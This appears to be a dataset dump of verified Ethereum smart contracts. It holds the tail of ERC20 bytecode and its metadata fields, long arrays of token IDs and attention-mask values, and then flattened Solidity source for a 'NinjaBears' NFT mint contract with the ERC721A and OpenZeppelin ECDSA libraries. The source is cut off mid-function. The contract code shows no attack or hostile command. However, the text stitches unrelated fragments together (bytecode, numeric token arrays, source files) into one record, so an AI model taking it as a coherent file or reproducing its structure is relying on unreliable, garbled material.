fffffff16565b610acd565b6001905092915050565b6000610a34610a2d610ac5565b8484610cc4565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114336024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113596022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061140e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113146023913960400191505060405180910390fd5b610ddb83838361128b565b610e468160405180606001604052806026815260200161137b602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f859092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611032576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ff7578082015181840152602081019050610fdc565b50505050905090810190601f1680156110245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b6000808284019050838110156110bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113ed6021913960400191505060405180910390fd5b6111598260008361128b565b6111c481604051806060016040528060228152602001611337602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f859092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121b8160025461129090919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b600082821115611308576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b81830390509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201bff9df719d7eaf5c37046dab4bd7af8a0fed60c2b7f830cba47c1bae6395d2164736f6c63430006020033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2581,
2094,
2692,
2581,
12740,
2575,
3540,
2575,
2278,
19481,
2497,
2620,
21472,
4246,
18939,
2683,
2683,
6679,
2692,
2063,
27531,
2692,
12740,
2063,
2620,
2546,
2683,
2487,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1016,
1025,
12324,
1005,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
9413,
2278,
11387,
8022,
3085,
1012,
14017,
1005,
1025,
3206,
24869,
17389,
18715,
2368,
2003,
9413,
2278,
11387,
8022,
3085,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
12927,
2015,
1036,
20381,
6279,
22086,
1036,
3815,
1997,
19204,
1998,
15210,
2068,
2000,
1036,
3954,
1036,
1012,
1008,
1008,
2156,
1063,
9413,
2278,
11387,
1011,
9570,
2953,
1065,
1012,
1008,
1013,
9570,
2953,
1006,
4769,
3954,
1007,
2270,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,476 | 0x95381C699d6D037C223A535933b447F17204D1A8 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./utils/ERC721A.sol";
// import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NinjaBears is Ownable, ERC721A, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// metadata URI
string private _baseTokenURI = "ipfs://bafybeic4kaz4qf6nljilr7vwfse5s3avbkgfcebwefihg3jayeq3y6737m/bears-meta-data/";
// Extension
string private _extension = ".json";
// Token Supply
uint256 private constant _totalSupply = 6666;
// Current Supply
// uint256 private currentSupply;
// Token Price
uint256 public tokenPrice = 0.06 ether;
// Pre Sales Price
uint256 public preSalesPrice = 0.05 ether;
// Max NFT number per wallet
uint256 public immutable maxPerAddressDuringMint = 10;
// PRESALE TIMESTAMP
uint256 public preSaleRelease = 1649948400;
bool public publicSaleActive = false;
bool public preSaleActive = true;
// Contract Owner
address private _contractOwner;
address private _signer;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mintedTokens;
constructor() ERC721A("NinjaBears", "NB") {
_contractOwner = _msgSender();
_signer = _msgSender();
}
function getCurrentPrice() public view returns (uint256) {
if (preSaleActive) {
return preSalesPrice;
} else {
return tokenPrice;
}
}
function getSignerAddress(address caller, bytes calldata signature)
internal
pure
returns (address)
{
bytes32 dataHash = keccak256(abi.encodePacked(caller));
bytes32 message = ECDSA.toEthSignedMessageHash(dataHash);
return ECDSA.recover(message, signature);
}
function buyTokensOnPresale(uint256 tokensNumber, bytes calldata signature)
public
payable
{
require(preSaleActive, "Sale is closed at this moment");
require(
block.timestamp >= preSaleRelease,
"Purchase is not available now"
);
require(
tokensNumber <= maxPerAddressDuringMint,
"You cannot purchase more than 10 tokens at once"
);
require(
_mintedTokens[msg.sender].add(tokensNumber) <=
maxPerAddressDuringMint,
"You cannot purchase more then 10 tokens on Presale"
);
require(
(tokensNumber.mul(getCurrentPrice())) <= msg.value,
"Received value doesn't match the requested tokens"
);
require(
(totalMinted().add(tokensNumber)) <= _totalSupply,
"You try to mint more tokens than totalSupply"
);
address signer = getSignerAddress(msg.sender, signature);
require(
signer != address(0) && signer == _signer,
"claim: Invalid signature!"
);
_mintedTokens[msg.sender] = _mintedTokens[msg.sender].add(tokensNumber);
_safeMint(msg.sender, tokensNumber);
}
function buyTokens(uint256 tokensNumber) public payable{
require(publicSaleActive, "Sale is closed at this moment");
require(
tokensNumber <= maxPerAddressDuringMint,
"You cannot purchase more than 10 tokens at once"
);
require(
_mintedTokens[msg.sender].add(tokensNumber) <=
maxPerAddressDuringMint,
"You cannot purchase more then 10 tokens"
);
require(
(tokensNumber.mul(getCurrentPrice())) == msg.value,
"Received value doesn't match the requested tokens"
);
require(
(totalMinted().add(tokensNumber)) <= _totalSupply,
"You try to mint more tokens than totalSupply"
);
_mintedTokens[msg.sender] = _mintedTokens[msg.sender].add(tokensNumber);
// currentSupply+=tokensNumber;
_safeMint(msg.sender, tokensNumber);
}
function setPreSalesRelease(uint256 _releaseTime) public onlyOwner {
require(
_releaseTime > block.timestamp,
"Release time must be greater than last mined block timestamp"
);
preSaleRelease = _releaseTime;
}
// Metadata info
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function sendTokensForGiveaway(address[] memory receivers, uint _tokensNumber) public onlyOwner {
require((totalMinted().add(receivers.length * _tokensNumber)) <= _totalSupply, "You try to mint more tokens than totalSupply");
for(uint i = 0; i<receivers.length; i++) {
_mintedTokens[receivers[i]] = _mintedTokens[receivers[i]].add(_tokensNumber);
_safeMint(receivers[i], _tokensNumber);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
string memory revealedURI = bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), _extension))
: "";
return revealedURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function withdrawMoney() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function totalMinted() public view returns (uint256) {
return _totalMinted();
}
function triggerSaleMode() public onlyOwner {
preSaleActive = !preSaleActive;
publicSaleActive = !publicSaleActive;
}
function changeSignerAddres(address _newSigner) public onlyOwner {
_signer = _newSigner;
}
}
// SPDX-License-Identifier: MIT
// Creator: Chiru Labs
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 1;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return
bytes(baseURI).length != 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
override
{
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (
to.isContract() &&
!_checkContractOnERC721Received(from, to, tokenId, _data)
) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return
_startTokenId() <= tokenId &&
tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (
!_checkContractOnERC721Received(
address(0),
to,
updatedIndex++,
_data
)
) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership
.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership
.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
